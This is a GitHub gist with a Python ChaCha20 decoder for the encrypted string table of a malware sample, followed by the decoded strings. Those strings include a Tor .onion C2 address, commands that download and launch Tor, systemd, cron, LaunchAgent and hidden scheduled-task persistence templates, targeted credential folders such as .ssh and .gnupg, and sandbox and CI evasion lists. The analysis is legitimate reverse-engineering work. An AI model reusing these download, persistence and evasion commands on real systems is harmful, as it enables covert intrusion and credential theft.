Skip to content

Instantly share code, notes, and snippets.

@ysf
Last active July 30, 2026 22:36
Show Gist options
  • Select an option

  • Save ysf/c1b8cc85f4063367fddb85c443589f5b to your computer and use it in GitHub Desktop.

Select an option

Save ysf/c1b8cc85f4063367fddb85c443589f5b to your computer and use it in GitHub Desktop.
ChaCha20 string decoder for validator.malware strings.
#!/usr/bin/env python3
"""
ChaCha20 string decoder for validator.malware strings
python3 decode.py validator.malware
python3 decode.py validator.malware --json > strings.json
python3 decode.py validator.malware --keys
at launch the malware decrypts all strings at once. each string has its own
ChaCha20 key and nonce. I found 4 tables of 154 entries in .rodata with ciphertext:
The table layout is located structurally. Keys, nonces, and ciphertext are
always read from the supplied sample, so per-build re-encryption is supported.
block counter starts at 0 for every entry, to decrypt do:
plain(i) = ChaCha20(key=key[i], counter=0, nonce=nonce[i])
XOR ciphertext[off[i] : off[i]+len[i]]
The corresponding code lives at (fileoffsets):
0x34d0 get_str(i)
0x3240 func that decrypts the table of strings
0x3204 ChaCha20 quarter round
"""
import argparse
import hashlib
import json
import struct
import sys
N = 154
OFF_DELTA, NONCE_DELTA, KEY_DELTA, CIPHER_DELTA = 0x140, 0x280, 0x760, 0x1AA0
BSS_BASE = 0x40C300
IMAGE_BASE = 0x400000
MASK = 0xFFFFFFFF
def _rotl(v, c):
return ((v << c) | (v >> (32 - c))) & MASK
def _quarter_round(s, a, b, c, d):
s[a] = (s[a] + s[b]) & MASK; s[d] = _rotl(s[d] ^ s[a], 16)
s[c] = (s[c] + s[d]) & MASK; s[b] = _rotl(s[b] ^ s[c], 12)
s[a] = (s[a] + s[b]) & MASK; s[d] = _rotl(s[d] ^ s[a], 8)
s[c] = (s[c] + s[d]) & MASK; s[b] = _rotl(s[b] ^ s[c], 7)
def chacha20_block(key, counter, nonce0, nonce1):
state = [0x61707865, 0x3320646E, 0x79622D32, 0x6B206574]
state += list(struct.unpack("<8I", key))
state += [counter, nonce0, nonce1, 0]
w = state[:]
for _ in range(10):
_quarter_round(w, 0, 4, 8, 12)
_quarter_round(w, 1, 5, 9, 13)
_quarter_round(w, 2, 6, 10, 14)
_quarter_round(w, 3, 7, 11, 15)
_quarter_round(w, 0, 5, 10, 15)
_quarter_round(w, 1, 6, 11, 12)
_quarter_round(w, 2, 7, 8, 13)
_quarter_round(w, 3, 4, 9, 14)
return struct.pack("<16I", *[(w[i] + state[i]) & MASK for i in range(16)])
def locate_layout(blob):
if not blob.startswith(b"\x7fELF"):
raise ValueError("sample is not an ELF file")
candidates = []
for len_t in range(0, len(blob) - CIPHER_DELTA, 16):
off_t = len_t + OFF_DELTA
lengths = struct.unpack_from(f"<{N}H", blob, len_t)
offsets = struct.unpack_from(f"<{N}H", blob, off_t)
total = offsets[-1] + lengths[-1]
if (
offsets[0] == 0
and 0 < min(lengths)
and max(lengths) <= 4096
and all(offsets[i + 1] == offsets[i] + lengths[i] for i in range(N - 1))
and len_t + CIPHER_DELTA + total <= len(blob)
):
candidates.append((
len_t,
off_t,
len_t + NONCE_DELTA,
len_t + KEY_DELTA,
len_t + CIPHER_DELTA,
))
if len(candidates) != 1:
raise ValueError(f"expected one table, found {len(candidates)}")
return candidates[0]
def decode(blob):
len_t, off_t, nonce_t, key_t, cipher = locate_layout(blob)
u16 = lambda off: struct.unpack_from("<H", blob, off)[0]
u32 = lambda off: struct.unpack_from("<I", blob, off)[0]
entries = []
for i in range(N):
key = blob[key_t + i * 32: key_t + i * 32 + 32]
off, length = u16(off_t + i * 2), u16(len_t + i * 2)
n0, n1 = u32(nonce_t + i * 8), u32(nonce_t + i * 8 + 4)
ct = blob[cipher + off: cipher + off + length]
plain, counter = b"", 0
while len(plain) < length:
ks = chacha20_block(key, counter, n0, n1)
chunk = ct[len(plain):len(plain) + 64]
plain += bytes(a ^ b for a, b in zip(chunk, ks))
counter += 1
entries.append({
"index": i,
"length": length,
"offset": off,
"runtime_address": f"{BSS_BASE + off:#x}",
"ciphertext_address": f"{IMAGE_BASE + cipher + off:#x}",
"key_address": f"{IMAGE_BASE + key_t + i * 32:#x}",
"key_hex": key.hex(),
"nonce_hex": struct.pack("<II", n0, n1).hex() + "00000000",
"text": plain.rstrip(b"\x00").decode("utf-8", "replace"),
})
return entries
def main():
ap = argparse.ArgumentParser(description="decode validator.malware string table.")
ap.add_argument("sample", help="path to sample")
ap.add_argument("--json", action="store_true", help="emit json")
ap.add_argument("--keys", action="store_true", help="dump every key and nonce")
args = ap.parse_args()
blob = open(args.sample, "rb").read()
digest = hashlib.sha256(blob).hexdigest()
entries = decode(blob)
if args.json:
json.dump({"sha256": digest, "entries": entries}, sys.stdout, indent=2)
print()
return
for e in entries:
print(f"[{e['index']:3d}] {e['runtime_address']} {e['text']!r}")
if args.keys:
print(f"\tkey {e['key_hex']}")
print(f"\tnonce {e['nonce_hex']} counter 0")
if __name__ == "__main__":
main()
@ysf

ysf commented Jul 29, 2026

Copy link
Copy Markdown
Author
[  0] 0x40c300  'p4ayykxcrxfyzrgfbbkazernntjbz43hgclrheguylzd7kijmtce6zqd.onion'
[  1] 0x40c33f  'curl/8.9.1'
[  2] 0x40c34a  'linux-x86_64'
[  3] 0x40c357  '/tmp/agent.bin'
[  4] 0x40c366  "tar xzf '%s' -C '%s' 2>/dev/null"
[  5] 0x40c387  'linux-x86_64'
[  6] 0x40c394  'macos-aarch64'
[  7] 0x40c3a2  'windows-x86_64'
[  8] 0x40c3b1  'https://archive.torproject.org/tor-package-archive/torbrowser/16.0a7/tor-expert-bundle-%s-16.0a7.tar.gz'
[  9] 0x40c419  "curl -sLk --max-time 120 -o '%s' '%s' 2>/dev/null"
[ 10] 0x40c44b  "LD_LIBRARY_PATH=/tmp/tb /tmp/tb/tor --DataDirectory /tmp/tb/data --SocksPort %d --ClientOnly 1 --Log 'notice file %s' >/dev/null 2>&1 &"
[ 11] 0x40c4d3  'security.selinux'
[ 12] 0x40c4e4  '/run/utmp'
[ 13] 0x40c4ee  '/var/run/utmp'
[ 14] 0x40c4fc  '/var/log/hostd.log'
[ 15] 0x40c50f  '/etc/resolv.conf'
[ 16] 0x40c520  'HOME'
[ 17] 0x40c525  '/tmp'
[ 18] 0x40c52a  '1.1.1.1'
[ 19] 0x40c532  '8.8.8.8'
[ 20] 0x40c53a  '/proc/self/exe'
[ 21] 0x40c549  '.ssh'
[ 22] 0x40c54e  '.gnupg'
[ 23] 0x40c555  '.pki'
[ 24] 0x40c55a  '.cert'
[ 25] 0x40c560  '.password'
[ 26] 0x40c56a  '.local'
[ 27] 0x40c571  '.config'
[ 28] 0x40c579  '.cache'
[ 29] 0x40c580  '/var/lib/'
[ 30] 0x40c58a  '/Library/Application Support/'
[ 31] 0x40c5a8  'ProgramData'
[ 32] 0x40c5b4  'C:\\ProgramData'
[ 33] 0x40c5c3  'LOCALAPPDATA'
[ 34] 0x40c5d0  'TEMP'
[ 35] 0x40c5d5  'C:\\Windows\\Temp'
[ 36] 0x40c5e5  '\\Programs'
[ 37] 0x40c5ef  '/etc/systemd/system'
[ 38] 0x40c603  '/etc/cron.d'
[ 39] 0x40c60f  '/home/'
[ 40] 0x40c616  '.service'
[ 41] 0x40c61f  '/.config/systemd/user'
[ 42] 0x40c635  'systemctl daemon-reload 2>/dev/null'
[ 43] 0x40c659  'systemctl --user daemon-reload 2>/dev/null'
[ 44] 0x40c684  "systemctl disable --now '%s' 2>/dev/null"
[ 45] 0x40c6ad  "systemctl --user disable --now '%s' 2>/dev/null"
[ 46] 0x40c6dd  "crontab -u '%s' -l 2>/dev/null | grep -vF '/home/%s' | crontab -u '%s' - 2>/dev/null"
[ 47] 0x40c732  "crontab -l 2>/dev/null | grep -vF '%s' | crontab - 2>/dev/null"
[ 48] 0x40c771  '[Unit]\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=%s\nRestart=always\nRestartSec=30\n\n[Install]\nWantedBy=multi-user.target\n'
[ 49] 0x40c7f5  "systemctl enable --now '%s' 2>/dev/null"
[ 50] 0x40c81d  '@reboot root %s\n'
[ 51] 0x40c82e  '[Unit]\nAfter=default.target\n\n[Service]\nType=simple\nExecStart=%s\nRestart=always\nRestartSec=30\n\n[Install]\nWantedBy=default.target\n'
[ 52] 0x40c8af  "mkdir -p '%s'"
[ 53] 0x40c8bd  "systemctl --user daemon-reload >/dev/null 2>&1 && systemctl --user enable --now '%s' >/dev/null 2>&1 && loginctl enable-linger >/dev/null 2>&1"
[ 54] 0x40c94c  "crontab -l 2>/dev/null | grep -qF '%s' || (crontab -l 2>/dev/null; echo '@reboot %s') | crontab -"
[ 55] 0x40c9ae  '<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0"><dict>\n<key>Label</key><string>%s</string>\n<key>ProgramArguments</key><array><string>%s</string></array>\n<key>RunAtLoad</key><true/>\n<key>KeepAlive</key><true/>\n<key>ThrottleInterval</key><integer>30</integer>\n</dict></plist>\n'
[ 56] 0x40cb34  'com.apple.telemetry.%s'
[ 57] 0x40cb4b  "launchctl bootstrap gui/$(id -u) '%s' 2>/dev/null || launchctl load -w '%s' 2>/dev/null"
[ 58] 0x40cba3  '/Library/LaunchDaemons'
[ 59] 0x40cbba  '/Library/LaunchAgents'
[ 60] 0x40cbd0  '%s/.%s'
[ 61] 0x40cbd7  '.exe'
[ 62] 0x40cbdc  'wb'
[ 63] 0x40cbdf  'rb'
[ 64] 0x40cbe2  'w'
[ 65] 0x40cbe4  '%s/%s'
[ 66] 0x40cbea  'kernel32.dll'
[ 67] 0x40cbf7  'ole32.dll'
[ 68] 0x40cc01  'oleaut32.dll'
[ 69] 0x40cc0e  'ws2_32.dll'
[ 70] 0x40cc19  'bcrypt.dll'
[ 71] 0x40cc24  'CreateProcessA'
[ 72] 0x40cc33  'CreateMutexA'
[ 73] 0x40cc40  'GetModuleFileNameA'
[ 74] 0x40cc53  'DeleteFileA'
[ 75] 0x40cc5f  'GetExitCodeProcess'
[ 76] 0x40cc72  'TerminateProcess'
[ 77] 0x40cc83  'CloseHandle'
[ 78] 0x40cc8f  'CreateThread'
[ 79] 0x40cc9c  'WaitForSingleObject'
[ 80] 0x40ccb0  'Sleep'
[ 81] 0x40ccb6  'BCryptOpenAlgorithmProvider'
[ 82] 0x40ccd2  'BCryptGenRandom'
[ 83] 0x40cce2  'BCryptCloseAlgorithmProvider'
[ 84] 0x40ccff  'WSAStartup'
[ 85] 0x40cd0a  'WSACleanup'
[ 86] 0x40cd15  'socket'
[ 87] 0x40cd1c  'connect'
[ 88] 0x40cd24  'closesocket'
[ 89] 0x40cd30  'send'
[ 90] 0x40cd35  'recv'
[ 91] 0x40cd3a  'WSAGetLastError'
[ 92] 0x40cd4a  'setsockopt'
[ 93] 0x40cd55  'CoInitializeEx'
[ 94] 0x40cd64  'CoCreateInstance'
[ 95] 0x40cd75  'CoUninitialize'
[ 96] 0x40cd84  'SysAllocString'
[ 97] 0x40cd93  'SysFreeString'
[ 98] 0x40cda1  'FindFirstFileA'
[ 99] 0x40cdb0  'FindNextFileA'
[100] 0x40cdbe  'FindClose'
[101] 0x40cdc8  'CreateToolhelp32Snapshot'
[102] 0x40cde1  'Process32FirstW'
[103] 0x40cdf1  'Process32NextW'
[104] 0x40ce00  'OpenProcess'
[105] 0x40ce0c  'QueryFullProcessImageNameW'
[106] 0x40ce27  '127.0.0.1'
[107] 0x40ce31  'svchost.exe'
[108] 0x40ce3d  'tor'
[109] 0x40ce41  'tor.exe'
[110] 0x40ce49  'taskkill /F /PID %d >nul 2>nul'
[111] 0x40ce68  '.lck'
[112] 0x40ce6d  '.torrc'
[113] 0x40ce74  '/lock'
[114] 0x40ce7a  '/bin'
[115] 0x40ce7f  '/cache'
[116] 0x40ce86  '/tmp'
[117] 0x40ce8b  '/tor.log'
[118] 0x40ce94  'Bootstrapped 100%'
[119] 0x40cea6  'dbus-daemon'
[120] 0x40ceb2  "tar xzf '%s' --strip-components=1 -C '%s' 2>/dev/null"
[121] 0x40cee8  "rm -rf '%s' 2>/dev/null"
[122] 0x40cf00  'C:\\Windows\\System32\\Tasks'
[123] 0x40cf1a  '<Command>'
[124] 0x40cf24  '</Command>'
[125] 0x40cf2f  '"%s" -f "%s" --Log "notice file %s"'
[126] 0x40cf53  'powershell -Command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback={}; Invoke-WebRequest -Uri \'%s\' -OutFile \'%s\' -UseBasicParsing" >nul 2>nul'
[127] 0x40cff9  'DataDirectory %s\n'
[128] 0x40d00b  'SOCKSPort %d\n'
[129] 0x40d019  'RunAsDaemon 0\n'
[130] 0x40d028  'AllowSingleHopCircuits 1\n'
[131] 0x40d042  'Log notice stderr\n'
[132] 0x40d055  'GET / HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n'
[133] 0x40d095  '/.agent.bin'
[134] 0x40d0a1  '/dev/shm'
[135] 0x40d0aa  'systemd-run --user --scope --unit=%s %s >/dev/null 2>&1'
[136] 0x40d0e2  '%s >/dev/null 2>&1 &'
[137] 0x40d0f7  '<?xml version="1.0" encoding="UTF-8"?><Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"><RegistrationInfo><Description>%s</Description></RegistrationInfo><Triggers><LogonTrigger><Delay>PT30S</Delay></LogonTrigger></Triggers><Principals><Principal id="A"><LogonType>InteractiveToken</LogonType><RunLevel>LeastPrivilege</RunLevel></Principal></Principals><Settings><Hidden>true</Hidden><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><RestartOnFailure><Interval>PT1M</Interval><Count>999</Count></RestartOnFailure></Settings><Actions Context="A"><Exec><Command>%s</Command></Exec></Actions></Task>'
[138] 0x40d3a4  '/dev/null'
[139] 0x40d3ae  'LD_LIBRARY_PATH'
[140] 0x40d3be  '%s/%s.tar.gz'
[141] 0x40d3cb  '-f'
[142] 0x40d3ce  '\\'
[143] 0x40d3d0  '/'
[144] 0x40d3d2  '/dev/urandom'
[145] 0x40d3df  '/proc/self/status'
[146] 0x40d3f1  'TracerPid:'
[147] 0x40d3fc  'brcrdrfrgrkrprtrvrblclflglklplslvlzl'
[148] 0x40d421  'aeiou'
[149] 0x40d427  'bcdfghjklmnprstvwx'
[150] 0x40d43a  'malware,vmware,seclab,sandbox,cuckoo,analysis,virus,vxbox,honeypot,maltest,triage,anyrun,cape,remnux,flare,sndbox'
[151] 0x40d4ac  'GITHUB_ACTIONS,GITLAB_CI,TRAVIS,CIRCLECI,JENKINS_URL,BUILD_BUILDURI,CODEBUILD_BUILD_ID,BUILDKITE,APPVEYOR,BITBUCKET_BUILD_NUMBER,DRONE,SEMAPHORE,TEAMCITY_VERSION,bamboo_agentId,BITRISE_IO,CIRRUS_CI,CF_BUILD_ID,VERCEL,NOW_GITHUB_DEPLOYMENT,WERCKER_MAIN_PIPELINE_STARTED,BUDDY_WORKSPACE_ID,SHIPPABLE,JB_SPACE_EXECUTION_NUMBER,VELA,SCREWDRIVER,DISTELLI_APPNAME'
[152] 0x40d612  '[ia] '
[153] 0x40d618  '[%02d:%02d:%02d] '

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment